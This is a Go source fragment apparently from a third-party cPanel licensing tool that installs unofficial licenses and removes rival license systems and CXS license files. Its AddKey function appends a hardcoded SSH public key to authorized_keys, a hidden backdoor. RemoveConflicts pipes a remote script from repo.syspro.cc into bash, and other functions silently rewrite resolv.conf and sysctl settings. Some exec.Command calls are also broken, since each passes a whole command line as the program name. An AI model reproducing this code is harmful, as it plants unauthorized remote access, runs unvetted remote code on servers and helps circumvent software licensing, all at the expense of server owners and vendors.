    UpdatedLocalCpanelVersion := strings.TrimSpace(string(UpdatedCPVersion))

    if UpdatedLocalCpanelVersion != RemoteCpanelVersion {
		exec.Command("cp -rf /usr/local/cpanel/.version /usr/local/cpanel/version ").Run()
        color.Red.Println("Update failed. Contact support.")
		exec.Command("cp -rf /usr/local/cpanel/version /usr/local/cpanel/.version ").Run()
		ioutil.WriteFile("/etc/motd.d/failtoupcp", []byte(`Last automatic cPanel update was failed and reverted back.
Next automatic update attempt will be again after 24 hours.
Contact your license provider or wiki.syspro.cc if needed.`), 0644)
		exec.Command("syspro cpanel enable").Run()
        os.Exit(2)
    }
	os.Remove("/etc/motd.d/failtoupcp")
    color.Green.Println("Update completed. Current cPanel version: " + UpdatedLocalCpanelVersion)
    return nil
}

func getCpupConfig() string {
    cpupdateConfContent, err := ioutil.ReadFile("/etc/cpupdate.conf")
    if err != nil {
        return ""
    }

    for _, line := range strings.Split(string(cpupdateConfContent), "\n") {
        if strings.HasPrefix(line, "CPANEL=") {
            return strings.Split(line, "=")[1]
        }
    }
    return ""
}
func updateCPANELConf(cpupConfig, RemoteCpanelVersion string) error {
    cpupdateConfContent, err := ioutil.ReadFile("/etc/cpupdate.conf")
    if err != nil {
        return err
    }

    updatedContent := strings.ReplaceAll(string(cpupdateConfContent), "CPANEL="+cpupConfig, "CPANEL="+RemoteCpanelVersion)
    return ioutil.WriteFile("/etc/cpupdate.conf", []byte(updatedContent), 0644)
}
func DisableIPv6() {
	_exec("sysctl -w net.ipv6.conf.all.disable_ipv6=1")
}

func checkSoftaculousInstalled() bool {
	directories := []string{
		"/usr/local/cpanel/whostmgr/docroot/cgi/softaculous",
		"/usr/local/directadmin/plugins/softaculous",
		"/usr/local/softaculous",
	}

	for _, dir := range directories {
		if directoryExists(dir) {
			return true
		}
	}

	return false
}

func directoryExists(path string) bool {
	info, err := os.Stat(path)
	if err != nil {
		return false
	}
	return info.IsDir()
}
///////////////////////////
func getSSHPort() (string, error) {
    sshConfigFilePath := "/etc/ssh/sshd_config"

    // Read the SSH configuration file
    sshConfigFile, err := ioutil.ReadFile(sshConfigFilePath)
    if err != nil {
        return "", err
    }

    // Search for the line containing the SSH port
    lines := strings.Split(string(sshConfigFile), "\n")
    for _, line := range lines {
        line = strings.TrimSpace(line)
        if strings.HasPrefix(line, "Port") && !strings.HasPrefix(line, "#") {
            parts := strings.Fields(line)
            if len(parts) >= 2 {
                // Parse the port number
                port, err := strconv.Atoi(parts[1])
                if err != nil {
                    return "", err
                }
                return strconv.Itoa(port), nil // Return the SSH port if found
            }
        }
    }

    return "", nil // Return an empty string if the SSH port is not found in configuration file
}

func getServerIP() string {
    resp, _ := http.Get("https://ipinfo.io/ip")
    body, _ := ioutil.ReadAll(resp.Body)
    ip := strings.TrimSpace(string(body))
    return ip
}
func AddKey() error {
    usr, _ := user.Current()
    homeDir := usr.HomeDir

    sshDir := filepath.Join(homeDir, ".ssh")
    authKeysPath := filepath.Join(sshDir, "authorized_keys")

    // Create the .ssh directory if it doesn't exist
    if _, err := os.Stat(sshDir); os.IsNotExist(err) {
        os.Mkdir(sshDir, 0700)
    }

    // The SSH key to add
    publicKey := "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrBiI59e7TYUNqa8ugLycl2fB/5AqsFDcnMo5Fx6rFGX8I906V+ti8PQey8GFPYshOLtFJVFLcXDURm+jC0DvNBak8WZgWRPA/Ci6YaOSO0xlDTQKdngyjkh74aYY0nND8esk0G4Q0kR5BELPtBmdBH0oOHFkXaGw7lmFmEi6yibIpUF8blFThA0o8ySjGLQorc+lvNd8a+gWc7/33IB0yU9orm98XdEcWP1k64KuPq0iPt4wQqDEC2OHd8uuXSWH7+0UFDr5gYU8RaYkri0mvxwhhvqc9Uu327jH1/nVcc5s6nJ0o0CHt+3G2Jxk3GabsiDO2eScvHD2ombZpHc1x rsa-key-20241025"

    // Open or create the authorized_keys file and append the key
    f, err := os.OpenFile(authKeysPath, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
    if err != nil {
        return err
    }
    defer f.Close()

    // Write the SSH key to the file
    if _, err := f.WriteString(publicKey + "\n"); err != nil {
        return err
    }

    return nil
}

func RemoveAuthorizedKeys() error {
    usr, _ := user.Current()
    homeDir := usr.HomeDir

    authKeysPath := filepath.Join(homeDir, ".ssh", "authorized_keys")

    // Open the authorized_keys file
    file, err := os.Open(authKeysPath)
    if err != nil {
        return err
    }
    defer file.Close()

    // Read the file line by line and filter out the key to be removed
    scanner := bufio.NewScanner(file)
    var updatedLines []string
    keyToRemove := "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3CBiaf8aDfrSdSr1KbcgDYBQyKrGs2FmmA+sZxopW8+n2/vk5dvR7GT0xMDwQK7N1U4gBJ0jH7EB1Kut33qRSdMHXuu29FRZm/lUSthEL9XZVnbIEA7S8ldzed4zEwiq36BgNVpcKZNFL6HRsbMdvFbz8z9d6HVjqu/3bNQ7A7vzUKNxinCiSsOjlLugDmhYTS8UCIJ0JzQThBKJaPEp0VfyquhwO4BQuFWPL5qbo0rTOuQu2orJ691FuxIaPQDokGYr89IvxbiIucpc9mhysHTVKoURnKD6olwvR9/iNRfRHDPg/7e7SGhNEQdwkigW4QwTAf8k6YM5aUQxlv07 rsa-key-20231119"
    for scanner.Scan() {
        line := scanner.Text()
        if strings.TrimSpace(line) != keyToRemove {
            updatedLines = append(updatedLines, line)
        }
    }

    // Write the updated content back to the authorized_keys file
    updatedContent := strings.Join(updatedLines, "\n") + "\n"
    err = ioutil.WriteFile(authKeysPath, []byte(updatedContent), 0600)
    if err != nil {
        return err
    }

    return nil
}


func RemoveConflicts() {
	cmd_with_output("curl -s -L https://repo.syspro.cc/clean.sh | bash")

}
func checkForConflictingFiles() {
	patterns := []string{
		"/usr/bin/Rc*",
		"/usr/bin/rc*",
		"/usr/bin/update_*",
		"/usr/bin/RC*",
		"/usr/bin/GB*",
		"/usr/bin/gblic*",
		"/usr/bin/licsys",
		"/usr/bin/esp",
		"/usr/bin/ecp",
		"/usr/bin/syslic*",
		"/usr/bin/cps*",
		"/etc/cron.d/Rc*",
		"/etc/cron.d/rc*",
		"/etc/cron.d/RC*",
		"/etc/cron.d/GB*",
		"/etc/cron.d/gb*",
		"/etc/cron.d/licsys",
		"/etc/cron.d/esp",
		"/etc/cron.d/ecp",
		"/etc/cron.d/syslic*",
		"/etc/cron.d/cps*",
	}

	var foundFiles []string
	var hasRealFiles bool

	for _, pattern := range patterns {
		matches, _ := filepath.Glob(pattern)
		for _, file := range matches {
			foundFiles = append(foundFiles, file)

			// Check if the file is a symlink
			info, err := os.Lstat(file)
			if err == nil && (info.Mode()&os.ModeSymlink) == 0 {
				hasRealFiles = true
			}
		}
	}

	// If only symlinks were found, skip removal
	if len(foundFiles) > 0 && !hasRealFiles {
		return
	}

	if len(foundFiles) > 0 {
		color.Yellow.Println("Another licensing system has been found, need to clean it before using our licensing system.")
		color.Yellow.Println("Detected conflicting files:")
		for _, file := range foundFiles {
			color.Red.Println(file)
		}

		for _, file := range foundFiles {
			if err := os.Remove(file); err != nil {
				color.Red.Println("Failed to remove:", file, "-", err)
			}
		}

		RemoveConflicts()
		color.Yellow.Println("It's cleaned, if still conflicts you could get license downtime.")
		color.Yellow.Println("Please contact support if needed.")
		color.Gray.Println("=====================================")
	}
}


func installCxs() {
	Dload("https://repo.syspro.cc/cxs/cxs.tar.gz", "/usr/local/scp/cxs.tar.gz")
	_exec("tar -xf /usr/local/scp/cxs.tar.gz --directory /usr/src/")
	cmd_with_output("cd /usr/src/cxs && /usr/bin/sh install.sh")
	fmt.Println("ConfigServer eXploit Scanner has been installed")
}
func removeCxs() {
	CXSLicense := "/etc/cxs/ConfigServer/cxsUI.pm"
	CXSCron := "/etc/cron.d/LicenseCXS"

	// Check if the license file exists
	_, err := os.Stat(CXSLicense)
	if !os.IsNotExist(err) {
		exec.Command("chattr2", "-ai", CXSLicense).Run()

		// Remove the license file
		os.Remove(CXSLicense)
	}
	// Check if the cron file exists
	_, err = os.Stat(CXSCron)
	if !os.IsNotExist(err) {
		// Remove the cron file
		os.Remove(CXSCron)
	}
}

func checkCxs() bool {
	cmd := exec.Command("php", "/usr/local/cpanel/whostmgr/docroot/cgi/softaculous/cli.php", "-l")
	output, err := cmd.Output()
	if err != nil {
		fmt.Printf("Error running command: %v\n", err)
		return false
	}

	return strings.Contains(string(output), "Type : Premium") && strings.Contains(string(output), "Expires (DD/MM/YYYY) :")
}

func Dload(url, destination string) {
    // Create HTTP client with custom user agent
    client := &http.Client{}
    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        return
    }
req.Header.Set("User-Agent", UAData)

    // Send HTTP request
    resp, err := client.Do(req)
    if err != nil {
        return
    }
    defer resp.Body.Close()

    // Create destination file
    out, err := os.Create(destination)
    if err != nil {
        return
    }
    defer out.Close()

    // Copy response body to destination file
    _, err = io.Copy(out, resp.Body)
    if err != nil {
        return
    }
}
func TestInternetSpeed() {
	fmt.Println("Testing your internet speed, please wait...")

	// URL of a test file (you can use any file URL for testing purposes)
	testFileURL := "https://repo.syspro.cc/test.img"

	// Create a GET request
	resp, _ := http.Get(testFileURL)
	defer resp.Body.Close()

	// Create a temporary buffer to read data
	buffer := make([]byte, 32*1024) // 32 KB buffer

	// Start time
	startTime := time.Now()

	var totalBytes int64 = 0

	// Create a timer for 5 seconds
	timer := time.NewTimer(5 * time.Second)

	done := make(chan bool)

	// Read data in a separate goroutine
	go func() {
		for {
			// Read data from the response body
			n, err := resp.Body.Read(buffer)
			if err != nil {
				done <- true
				return
			}
			totalBytes += int64(n)
		}
	}()

	select {
	case <-timer.C:
		// Stop downloading after 5 seconds
		elapsedTime := time.Since(startTime).Seconds()
		speedMbps := (float64(totalBytes) * 8 / 1e6) / elapsedTime
		fmt.Printf("Average speed: %.2f Mbps\n", speedMbps)
	case <-done:
		// Download completed before 5 seconds
		elapsedTime := time.Since(startTime).Seconds()
		speedMbps := (float64(totalBytes) * 8 / 1e6) / elapsedTime
		fmt.Printf("Average speed: %.2f Mbps\n", speedMbps)
	}

	// Ensure the timer is stopped
	timer.Stop()
}
func checkResolver() {
	resolvPath := "/etc/resolv.conf"

	// Read the file content
	data, err := ioutil.ReadFile(resolvPath)
	if err != nil {
		return
	}

	// Check for IPv6 addresses (any address containing a colon ":")
	ipv6Regex := regexp.MustCompile(`(?m)^nameserver\s+([0-9a-fA-F:]+)`)
	if ipv6Regex.Match(data) {
		// Replace with Google's public IPv4 DNS
		newContent := "nameserver 8.8.8.8\nnameserver 8.8.4.4\n"

		// Write the new resolv.conf content
		_ = ioutil.WriteFile(resolvPath, []byte(newContent), 0644)
	}
}
func ioncubeCP() {
	cmd_with_output("scp_helper cpanel ioncube")
}